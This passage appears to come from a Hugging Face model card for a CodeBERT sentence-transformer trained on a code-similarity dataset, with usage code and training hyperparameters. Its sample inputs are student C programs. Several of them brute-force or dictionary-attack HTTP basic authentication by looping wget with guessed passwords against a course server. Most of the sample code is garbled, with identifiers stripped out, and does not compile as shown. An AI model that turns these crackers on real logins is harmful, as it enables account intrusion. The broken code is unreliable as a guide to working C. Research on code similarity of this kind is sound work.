printf(\"Sending Request as %s\\n\",);\n\t flag = system();\n\t  \n         if (flag == 0)\n\t {\n            printf(\"\\nPassword is %s\\n\",passwd);\n\t    return 1;\n\t }\n         \n\t strcpy(,\"\"); \n         strcpy(passwd,\"\");\n       }\n    }\n}  \n\n\nint  (int argc, char *argv[])\n{\n   char *fname;\n   FILE *fp;\n   \n   int , end;    \n   \n    = time();\n    \n   if (argc != 2)\n   {\n      fprintf(stdout,\"Usage : ./Dictionary <dictionary>\\n\");\n      return(EXIT_FAILURE);\n   }\n   \n   fname = argv[1];\n   \n   if((fp = fopen(fname, \"r\")) == NULL)\n   {\n      fprintf(stderr,\"Error : Failed  open %s for . \\n\",fname);\n      return(EXIT_FAILURE);\n   }\n   \n   CrackPasswd(fp);\n  \n   end = time(); \n   printf(\"Time Required = %lld msec\\n\",(end-)/());\n   return (EXIT_SUCCESS);\n  \n}\n     \n\t   \n\t  \t\n"
    sentences:
      - |
        #include <stdio.h>
        #include <stdlib.h>
        #include <sys/time.h>
        #include <strings.h>
        #include <ctype.h>

        int ()
        {
          FILE *fp; 
          char *chk,[4];
          int i=1;
          while (i == 1) 
          {
          
          system("wget -p --convert-links http://www.cs.rmit.edu./students/");

          system("mkdir first"); 
          system("mkdir second"); 

          
          system("mv www.cs.rmit.edu./images/*.*  first/");
          system("mv www.cs.rmit.edu./students/*.* first/");

          sleep(86400); 

          
          system("wget -p --convert-links http://www.cs.rmit.edu./students/");

          
          system("mv www.cs.rmit.edu./images/*.* second/");
          system("mv www.cs.rmit.edu./students/*.* second/");

          
          
          system("diff first second > imagesdifference.txt");

          
          fp = fopen("imagesdifference.txt","r");
          
          chk = fgets(, 4, fp);
          
          if (strlen() != 0)
             system("mailx -s  \"Difference from WatchDog\"  < imagesdifference.txt");
          }
          return 0;
        }
      - "\n\n\n \n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include <unistd.h>\n#include <sys/wait.h>\n#include <signal.h>\n#include <sys/signal.h>\t\t\t  \n\n\n#define USERNAME \"\"\n#define URL \"sec-crack.cs.rmit.edu./SEC/2\"\n#define TEST_URL \"yallara.cs.rmit.edu./~/secure\"\n#define MAX_PASSWD_LEN 3\n#define MAX_CHAR_SET 52\n#define NUM_OF_PROCESSES 4\n\n#define TRUE 1\n#define FALSE 0\n\n\n\n\n\n\n\n\n\n\ntypedef int (*CrackFuncPtr)(const char*, const char*, int);\n\n\nint pwdFound;\nint cDie;\n\n\nint runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func\n\t\t\t\t\t\t, int sCh, int eCh, int id);\nchar* initPasswdStr(int len, char ch, char headOfChSet);\nint getChPos(const char chSet[], int numOfCh, char ch);\nint pow(int x, int y);\nint crackHTTPAuth(const char *username, const char *passwd, int id);\nint myFork(const char chSet[], int numOfCh, int len, CrackFuncPtr func\n\t\t\t\t, int sCh, int eCh);\n\n\n\n\n\nvoid passwdFoundHandler(int signum)\n{\n\tpwdFound = TRUE;\n}\n\n\n\nvoid childFinishHandler(int signum)\n{\n\tcDie++;\t\n}\n\n\n\n\n\nint main()\n{\n\tchar charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', \n                     'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', \n\t\t\t\t\t 'W', 'X', 'Y', 'Z',\t\n\t\t\t\t\t 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',\t\n\t\t\t\t\t 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', \n\t\t\t\t\t 'w', 'x', 'y', 'z'};\n\t\n\n\tint i;\t\n\tint pid[NUM_OF_PROCESSES];\n\n\tpwdFound = FALSE;\n\tcDie = 0;\n\t\n\tfor (i=0; i<NUM_OF_PROCESSES; i++)\n\t{\n\t\tpid[i] = myFork(charSet, MAX_CHAR_SET, MAX_PASSWD_LEN, crackHTTPAuth, \n\t\t\t\t\t\t(((MAX_CHAR_SET /NUM_OF_PROCESSES)*i)+1)-1, \n\t\t\t\t\t\t(MAX_CHAR_SET /NUM_OF_PROCESSES)*(i+1)-1);\n\t}\n\n\t\n\tfor (;;)\n\t{\n\t\tsignal(SIGUSR1, passwdFoundHandler);\n\t\tsignal(SIGUSR2, childFinishHandler);\n\n\t\t\n\t\tif (pwdFound)\n\t\t{\n\t\t\tfor (i=0; i<4; i++)\n\t\t\t{\n\t\t\t\tkill((int)pid[i], SIGKILL);\n\t\t\t}\n\t\t\texit(EXIT_SUCCESS);\n\t\t}\n\n\t\t\n\t\tif (cDie >= NUM_OF_PROCESSES)\n\t\t{\n\t\t\texit(EXIT_SUCCESS);\n\t\t}\n\n\t}\n\treturn EXIT_SUCCESS;\n}\n\n\n\nint myFork(const char chSet[], int numOfCh, int len, CrackFuncPtr func,\n\t\t\t\tint sCh, int eCh)\n{\n\tint i;\n\t\n\tint pid = fork();\n\n\tif (pid == 0)\n\t{\n\t\tfor (i=1; i<=len; i++)\n\t\t{\n\t\t\tif (runBruteForce(chSet, numOfCh, i, func, sCh, eCh, getpid()))\n\t\t\t{\t\n\t\t\t\t\n \t\t\t\tif (!kill(getppid(), SIGUSR1))\n\t\t\t\t{\n\t\t\t\t\tprintf(\"Process %d found the password and notified the parent process already\", \n\t\t\t\t\t\t\t\t\t(int)getpid());\n\t\t\t\t}\n\n\t\t\t\texit(EXIT_SUCCESS);\n\t\t\t}\n\t\t}\n\n\t\t\n\t\tif (!kill(getppid(), SIGUSR2))\n\t\t{\n\t\t\tprintf(\"Process %d could not found the password and notified the parent process already\", \n\t\t\t\t\t\t\t\t\t(int)getpid());\n\t\t}\n\t\t\n\t\texit(EXIT_SUCCESS);\n\t}\n\telse if (pid > 0)\n\t{\n\t\treturn pid;\n\t}\n\telse\n\t{\n\t\tprintf(\"error\\n\");\n\t\texit(EXIT_FAILURE);\n\t}\n}\n\n\n\nint runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func\n\t\t\t\t\t\t, int sCh, int eCh, int id)\n{\n\tint iter; \n\tint chIter; \n\tint curPos = 0; \n\t\n\tchar *str;\n\t\n\tint passwdFound = FALSE;\n\t\n\tstr = initPasswdStr(len, chSet[sCh], chSet[0]);\n\n\tprintf(\"\\nNow trying %d character(s)\\n\", len);\n\n\tfor (iter=0; (iter<pow(numOfCh, (len-1))*(eCh-sCh+1))&&(!passwdFound); iter++)\n\t{\n\t\tfor (chIter=len-1; chIter>=0; chIter--)\n\t\t{\n\t\t\tif (iter % pow(numOfCh, chIter) == 0) \n\t\t\t{\n\t\t\t\tcurPos = getChPos(chSet, numOfCh, str[chIter]);\n\t\t\t\tstr[chIter] = chSet[curPos+1];\n\t\t\t}\n\n\t\t\tif (iter % pow(numOfCh, (chIter+1)) == 0) \n\t\t\t{\n\t\t\t\tif (chIter == len-1)\n\t\t\t\t{\n\t\t\t\t\tstr[chIter] = chSet[sCh];\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tstr[chIter] = chSet[0];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (func(USERNAME, str, id))\n\t\t{\n\t\t\tprintf(\"\\nPassword found: %s\\n\\n\", str);\n\t\t\tpasswdFound = TRUE;\n\t\t}\t\t\t\n\t}\n\n\t(str);\n\tstr = NULL;\n\t\n\treturn passwdFound;\n}\n\n\n\nint getChPos(const char chSet[], int numOfCh, char ch)\n{\n\tint i;\n\t\n\tfor (i=0; i<numOfCh; i++)\n\t{\n\t\tif (chSet[i] == ch)\n\t\t{\n\t\t\treturn i;\n\t\t}\n\t}\n\n\treturn -1;\n\t\n}\n\n\n\nchar* initPasswdStr(int len, char ch, char headOfChSet)\n{\n\tint i;\n\n\tchar *str;\n\n\tstr = malloc(len);\n\n\tif (str)\n\t{\n\t\tfor (i=0; i<len-1; i++)\n\t\t{\n\t\t\tstr[i] = headOfChSet;\n\t\t}\n\t\tstr[len-1] = ch;\n\t\tstr[len] = '\\0';\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, \"\\nError: Unable  allocate %d bytes memory.\", len);\n\t\texit(EXIT_FAILURE);\n\t}\n\t\n\treturn str;\n}\n\n\n\nint pow(int x, int y)\n{\n\tint ans = 1, i;\n\t\n\tfor (i=0; i<y; i++)\n\t{\n\t\tans *= x;\n\t}\n\n\treturn ans;\n}\n\n\n\nint crackHTTPAuth(const char *username, const char *passwd, int id)\n{\n\tchar cmd[256];\n\tstruct stat fileInfo;\n\tchar fileToCheck[256];\n\t\n\tsprintf(cmd, \"wget -O %d -q --http-user=%s --http-passwd=%s --proxy=off %s\", \n\t\t\t\t\t\tid, username, passwd, URL);\n\n\tsystem(cmd);\t\n\n\tsprintf(fileToCheck, \"%d\", id);\n\n\t(void)stat(fileToCheck, &fileInfo); \n\treturn fileInfo.st_size;\n\t\n}\n\n\n"
      - "#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<strings.h>\n#include <ctype.h>\n#include <math.h>\n#include <sys/time.h>\n\nint\n()\n{\n\n\tint        , end;\n\tFILE           *fp;\n\tint             i, j;\n\tchar            input;\n\tchar            password[30];\n\tint             check;\n\n\tfloat           total_time;\n\tint             number;\n\t = time();\n\n\n\tif ((fp = fopen(\"words\", \"r\")) == NULL) {\n\t\tfprintf(stderr, \"Error : Failed  open words for .\\n\");\n\t\treturn (EXIT_FAILURE);\n\t}\n\twhile ((input = fgetc(fp)) != EOF) {\n\t\tj = 0;\n\t\tfor (i = 0; i < 30; i++)\n\t\t\tpassword[i] = '\\0';\n\n\t\twhile(input != '\\n' ) {\n\n\t\t\tpassword[j] = input;\n\t\t\tj++;\n\t\t\tinput = fgetc(fp);\n\t\t\t\n\t\t\n\t\t}\n\n\n\t\tif (strlen(password) <= 3) {\n\t\t\tprintf(\"%s\\t\",password);\n\t\t\tfflush(stdout);\n\t\t\tcheck = SysCall(password);\n\t\t\tif (check == 0) {\n\t\t\t\tgetpid();\n\t\t\t\tend = time();\n\t\t\t\ttotal_time = (end - ) / 1e9;\n\t\t\t\tprintf(\"\\ntotal time_var = %f \", total_time);\n\t\t\t\tprintf(\"\\n\\nAvg getpid() time_var = %f usec\\n\", total_time);\n\t\t\t\tprintf(\"\\navg time_var  %f / %d = %f\\n\", total_time, number, total_time / number);\n\t\t\t\texit(0);\n\t\t\t}\n\t\t}\n\n\t}\n\n\treturn (EXIT_SUCCESS);\n}\nint\nSysCall(char *password)\n{\n\tchar            url1[255], url2[255], [255];\n\tint             rettype;\n\trettype = 0;\n\tstrcpy(url1, \"wget --non-verbose --http-user= --http-passwd=\");\n\tstrcpy(url2, \" http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\n\tstrcat(, url1);\n\tstrcat(, password);\n\tstrcat(, url2);\n\n\trettype = system();\n\t\n\tif (rettype == 0) {\n\t\tprintf(\"Successfully retrieved password: %s\\n\", password);\n\t\treturn 0;\n\t}\n\tstrcpy(, \"\");\n}\n"
  - source_sentence: "\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n  int i,j,k,counter =0;\n  char  word[3];\n  char paswd[3];\t\n  char get[100];\n  int ;\n  char username[]=\"\";\n  \n  \n  \n  \n  \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n   \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n      \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;}  \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,\"%c%c%c\",word[0],word[1],word[2]);       \n\t\t\t counter++;\n\t\t\tprintf(\"%d )%s\\n\\n\", counter, paswd);\n\t\t\t sprintf(get,\"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/\",username,paswd);\n\t\t\t=system(get);\n\t  \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf(\"The Password has been cracked and it is : %s\" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n     \n\t\t}\n  \n\t}\n  \n\t\n}\n\n"
    sentences:
      - |


        #include <stdio.h>
        #include <string.h>
        #include <sys/time.h>

        #define OneBillion 1e9
        #define false 0
        #define true 1
        int execPassword(char *, char *b) {


            char [100]={'\0'};
            strcpy(,b);
            
            strcat(,);
            printf ("Sending command %s\n",);
            if ( system()== 0) {
               printf ("\n password is : %s",);
               return 1;
            }
            return 0;
        }
         

        int bruteForce(char [],char comb[],char *url) {


        int i,j,k;

           for(i=0;i<52 ;i++) {
                comb[0]= [i];
                if (execPassword(comb,url)== 1) return 1; 
                  for(j=0;j<52;j++) {
                      comb[1] = [j];
                      if(execPassword(comb,url)==1) return 1;
                        for(k=0;k<52;k++) {
                            comb[2] = [k];
                            if(execPassword(comb,url)==1) return 1;
                        }
                  comb[1] = '\0';
             }
           }
           return 0;

        } 

        int  (char *argc, char *argv[]) {

         int i,j,k;
         char strin[80] = {'\0'};
         char *passwd;
         char a[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
         char v[4]={'\0'};
         int startTime, stopTime, final;
         int flag=false; 
         strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");

          startTime = time();
            if (bruteForce(a,v,strin)==1) {
              stopTime = time();
              final = stopTime-startTime;
            }

               printf ("\n The password is : %s",v);
               printf("%lld nanoseconds (%lf) seconds \n", final,  (double)final/OneBillion );

        }
      - "\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint  (int argc, char *argv[])\n {\n     FILE *fp;\n     \n   while(1)\n    {       \n      system(\"wget -p http://www.cs.rmit.edu./students\");\n\n\n\n      system(\"mkdir data\"); \n      if((fp=fopen(\"./data/index.html\",\"r\"))==NULL)\n       { \n         system(\"cp www.cs.rmit.edu./students/index.html ./data\");\n\t \n       }\n      else\n       {  \n               \n\t \n\t system(\"diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.\");\n\t system(\"cp www.cs.rmit.edu./students/index.html ./data\");\n       }     \n\n\n\n      system(\"mkdir images\"); \n      if((fp=fopen(\"./images/file.txt\",\"r\"))==NULL)\n       { \n          system(\"md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt\");\n\t\t \n       }\n      \n      else\n       {          \n          system(\"md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt\");\n\t \n\t \n\t \n\t system(\"diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.\");\n\t system(\"cp www.cs.rmit.edu./file.txt ./images\");\n       }\n     sleep(86400); \n    }\t\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n"
      - "#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n\npublic static void main()\n{\n\tint i;\n\tchar ar[100];\n\tFILE* f;\n\tFILE* ;\n\tsystem(\"wget -O first www.rmit.edu./students\");  \n\twhile(1)\n\t{\n\t\tsleep(86400);\t\n\t\tsystem(\"rm -f thed\");\n\t\tsystem(\"rm -f new\");\n\t\tsystem(\"wget -O new www.cs.rmit.edu./students\");\t\n\t\tsystem(\"diff new first >thed\");\t\n\t\tf=fopen(\"thed\",\"r\");\n\t\tif(fgets(ar,100,f)!=NULL)\n\t\t{\t\t\n\t\t\t printf(\"\\n\\n The  has CHANGEDS\");\t\t\n\t\t\tsystem(\"mail @cs.rmit.edu. <thed\"); \n\t\t\tsystem(\"cp new first\");\n\t\t\tfclose(f);\n\t\t}\n\t\telse\n\t\t{\n\t\tfclose(f);\n\t\tprintf(\"\\n\\nthe  has not changed \");\n\t\t}\n\t}\n\n}\n\n\t\n\t\n\t\n\t\t\n\n\n"
pipeline_tag: sentence-similarity
library_name: sentence-transformers

SentenceTransformer based on microsoft/codebert-base

This is a sentence-transformers model finetuned from microsoft/codebert-base. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

  • Model Type: Sentence Transformer
  • Base model: microsoft/codebert-base
  • Maximum Sequence Length: 512 tokens
  • Output Dimensionality: 768 dimensions
  • Similarity Function: Cosine Similarity

Model Sources

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

pip install -U sentence-transformers

Then you can load this model and run inference.

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST")
# Run inference
sentences = [
    '\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n  int i,j,k,counter =0;\n  char  word[3];\n  char paswd[3];\t\n  char get[100];\n  int ;\n  char username[]="";\n  \n  \n  \n  \n  \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n   \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n      \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;}  \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]);       \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t  \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n     \n\t\t}\n  \n\t}\n  \n\t\n}\n\n',
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint  (int argc, char *argv[])\n {\n     FILE *fp;\n     \n   while(1)\n    {       \n      system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n      system("mkdir data"); \n      if((fp=fopen("./data/index.html","r"))==NULL)\n       { \n         system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n       }\n      else\n       {  \n               \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n       }     \n\n\n\n      system("mkdir images"); \n      if((fp=fopen("./images/file.txt","r"))==NULL)\n       { \n          system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n       }\n      \n      else\n       {          \n          system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n       }\n     sleep(86400); \n    }\t\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n    char [100]={\'\\0\'};\n    strcpy(,b);\n    \n    strcat(,);\n    printf ("Sending command %s\\n",);\n    if ( system()== 0) {\n       printf ("\\n password is : %s",);\n       return 1;\n    }\n    return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n   for(i=0;i<52 ;i++) {\n        comb[0]= [i];\n        if (execPassword(comb,url)== 1) return 1; \n          for(j=0;j<52;j++) {\n              comb[1] = [j];\n              if(execPassword(comb,url)==1) return 1;\n                for(k=0;k<52;k++) {\n                    comb[2] = [k];\n                    if(execPassword(comb,url)==1) return 1;\n                }\n          comb[1] = \'\\0\';\n     }\n   }\n   return 0;\n\n} \n\nint  (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n  startTime = time();\n    if (bruteForce(a,v,strin)==1) {\n      stopTime = time();\n      final = stopTime-startTime;\n    }\n\n       printf ("\\n The password is : %s",v);\n       printf("%lld nanoseconds (%lf) seconds \\n", final,  (double)final/OneBillion );\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9892, 0.9953],
#         [0.9892, 1.0000, 0.9908],
#         [0.9953, 0.9908, 1.0000]])

Training Details

Training Dataset

Unnamed Dataset

  • Size: 3,081 training samples
  • Columns: sentence_0, sentence_1, and label
  • Approximate statistics based on the first 1000 samples:
    sentence_0 sentence_1 label
    type string string int
    details
    • min: 194 tokens
    • mean: 471.57 tokens
    • max: 512 tokens
    • min: 194 tokens
    • mean: 458.65 tokens
    • max: 512 tokens
    • 0: ~99.20%
    • 1: ~0.80%
  • Samples:
    sentence_0 sentence_1 label
    #include
    #include
    #include
    #include
    #include
    #include
    #include



    int ()
    {
    int i,j,k,syst;
    char password[4],first[100],last[100];
    int count =0;
    char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
    'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
    strcpy(first, "wget --http-user= --http-passwd=");
    strcpy(last, " http://sec-crack.cs.rmit.edu./SEC/2/");
    int Start_time,End_time,Total_time,average;
    Start_time = time();
    printf(" Time =%11dms\n", Start_time);
    for (i=0;i<=52;i++)
    {
    for (j=0;j<=52;j++)
    {
    for(k=0;k<=52;k++)
    {
    password[0] = arr[i];
    password[1] = arr[j];
    password[2] = arr[k];
    password[3] = '\0';
    printf(" The Combination of the password tried %s \n" ,password);
    printf("*...
    #include
    #include
    #include
    #include
    #include
    #include



    int ()
    {
    int i,j,k,sysoutput;
    char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3];
    char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
    'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
    strcpy(string1, "wget --http-user= --http-passwd=");
    strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/");

    for (i=0;i<=52;i++)
    {
    [0] = arr[i];
    [1] ='\0';
    strcpy(a,);

    printf("The first value is %s \n", a);

    for (j=0;j<=52;j++)
    { [0] = arr[j];
    [1] = '\0';
    strcpy(temp1,a);
    strcat(a,);
    strcpy(b,a);
    strcpy(a,temp1);
    printf("The second value is %s \n", b);
    for(k=0;k<=52;k++)
    {
    [0] =arr[k];
    [1] = '\0...
    1
    #include
    #include
    #include
    #include
    #include

    ()
    {
    int i,m,k,count=0;
    FILE* diction;
    FILE* log;
    char s[30];
    char pic[30];
    char add[1000];
    char end[100];
    time_t ,finish;
    double ttime;

    strcpy(add,"wget --http-user= --http-passwd=");
    strcpy( end,"-nv -o logd http://sec-crack.cs.rmit.edu./SEC/2/");
    diction=fopen("/usr/share/lib/dict/words","r");
    =time(NULL);
    while(fgets(s,100,diction)!=NULL)
    {
    printf("%s\n",s);
    for(m=40,k=0;k<(strlen(s)-1);k++,m++)
    {
    add[m]=s[k];
    }
    add[m++]=' ';
    for(i=0;i<50;i++,m++)
    {
    add[m]=end[i];
    }
    add[m]='\0';

    system(add);
    count++;
    log=fopen("logd","r");
    fgets(pic,100,log);
    printf("%s",pic);
    if(strcmp(pic,"Authorization failed.\n")!=0)
    {
    finish=time(NULL);
    ttime=difftime(,finish);
    printf( "\n The time_var take:%f/n The of passwords tried is %d\n",ttime,count);
    break;
    }
    fclose(log);
    }

    }




    #include
    #include
    #include

    int ()
    {
    int i,j,k,cntr=0;
    char pass[3];
    char password[3];
    char get[96];
    char username[]="";
    int R_VALUE;
    double time_used;

    clock_t ,end;

    =clock();



    for (i = 65; i <= 122; i++)
    {
    if(i==91) {i=97;}

    for (j = 65; j <= 122; j++)
    {
    if(j==91) {j=97;}

    for (k = 65; k <= 122; k++)
    {
    if(k==91) {k=97;}

    pass[0] = i;
    pass[1] = j;
    pass[2] = k;
    sprintf(password,"%c%c%c",pass[0],pass[1],pass[2]);
    cntr++;

    printf("%d )%s\n\n", cntr, password);
    sprintf(get,"wget --non-verbose --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password);


    R_VALUE=system(get);

    if(R_VALUE==0)
    {
    printf("The Password has been cracked and it is : %s" , password);
    ...
    0






    #include
    #include
    #include


    int ()
    {
    char url[30];
    int exitValue=-1;
    FILE fr;

    char s[300];
    system("rm index.html
    ");
    system("wget http://www.cs.rmit.edu./students/ ");
    system("mv index.html one.html");

    printf("System completed Writing\n");
    system("sleep 3600");


    system("wget http://www.cs.rmit.edu./students/ ");



    exitValue=system("diff one.html index.html > .out" );

    fr=fopen(".out","r");

    strcpy(s,"mailx -s "Testing Again"");

    strcat(s," < .out");
    if(fgets(url,30,fr))
    {
    system(s);

    system("rm one.html");

    printf("\nCheck your mail") ;
    fclose(fr);
    }
    else
    {
    printf(" changes detected");

    system("rm one.html");
    fc...
    #include
    #include
    #include
    #include
    #include

    int ()
    {

    int m,n,o,i;
    time_t u1,u2;
    char v[3];
    char temp1[100];
    char temp2[100];
    char temp3[250];
    FILE *fin1;

    char point[25];
    fin1=fopen("./words.txt","r");

    if(fin1==NULL)
    {
    printf(" open the file ");
    exit(0);
    }


    strcpy(temp2," --http-user= --http-passwd=");
    strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php");

    strcpy(temp3,"");

    (void) time(&u1);

    while(!feof(fin1))
    {

    fgets(point,25,fin1);
    if(strlen(point)<=4)
    {


    strcpy(temp3,temp1);
    strcat(temp3,temp2);
    strcat(temp3,point);
    printf("\nSending the %s\n",temp3);
    i=system(temp3);

    if(i==0)
    {
    (void) time(&u2);
    printf("\n The password is %s\n",point);
    printf("\n\nThe time_var taken crack the passwork is %d second\n\n",(int)(u2-u1));
    exit(0);
    }
    else
    {
    strcpy(temp3,"");
    }


    }
    }


    } ...
    0
  • Loss: BatchAllTripletLoss

Training Hyperparameters

Non-Default Hyperparameters

  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 16
  • num_train_epochs: 1
  • fp16: True
  • multi_dataset_batch_sampler: round_robin

All Hyperparameters

Click to expand
  • overwrite_output_dir: False
  • do_predict: False
  • eval_strategy: no
  • prediction_loss_only: True
  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 16
  • per_gpu_train_batch_size: None
  • per_gpu_eval_batch_size: None
  • gradient_accumulation_steps: 1
  • eval_accumulation_steps: None
  • torch_empty_cache_steps: None
  • learning_rate: 5e-05
  • weight_decay: 0.0
  • adam_beta1: 0.9
  • adam_beta2: 0.999
  • adam_epsilon: 1e-08
  • max_grad_norm: 1
  • num_train_epochs: 1
  • max_steps: -1
  • lr_scheduler_type: linear
  • lr_scheduler_kwargs: {}
  • warmup_ratio: 0.0
  • warmup_steps: 0
  • log_level: passive
  • log_level_replica: warning
  • log_on_each_node: True
  • logging_nan_inf_filter: True
  • save_safetensors: True
  • save_on_each_node: False
  • save_only_model: False
  • restore_callback_states_from_checkpoint: False
  • no_cuda: False
  • use_cpu: False
  • use_mps_device: False
  • seed: 42
  • data_seed: None
  • jit_mode_eval: False
  • use_ipex: False
  • bf16: False
  • fp16: True
  • fp16_opt_level: O1
  • half_precision_backend: auto
  • bf16_full_eval: False
  • fp16_full_eval: False
  • tf32: None
  • local_rank: 0
  • ddp_backend: None
  • tpu_num_cores: None
  • tpu_metrics_debug: False
  • debug: []
  • dataloader_drop_last: False
  • dataloader_num_workers: 0
  • dataloader_prefetch_factor: None
  • past_index: -1
  • disable_tqdm: False
  • remove_unused_columns: True
  • label_names: None
  • load_best_model_at_end: False
  • ignore_data_skip: False
  • fsdp: []
  • fsdp_min_num_params: 0
  • fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
  • fsdp_transformer_layer_cls_to_wrap: None
